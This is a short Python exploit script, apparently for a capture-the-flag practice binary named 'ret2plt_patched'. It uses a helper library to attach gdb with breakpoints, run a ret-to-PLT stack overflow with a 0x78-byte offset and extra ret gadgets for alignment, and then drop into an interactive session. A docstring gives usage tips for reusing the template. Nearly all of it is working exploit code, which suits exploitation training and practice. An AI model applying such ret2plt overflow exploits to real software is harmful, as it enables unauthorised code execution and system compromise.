#!/usr/bin/env python3

from flashlib import *

gdbscript = """
    b *main
    # ret:
    b *main+171
"""

init("./ret2plt_patched", aslr=True)
attach(gdbscript=gdbscript)

"""
The usage is fairly simple.
You need to find the OFFSET.
> In case of stack mis-alignment, you can add RETs as well.
"""
ret2plt(0x78, sendafter=">> ", rets=0x2)

io.interactive()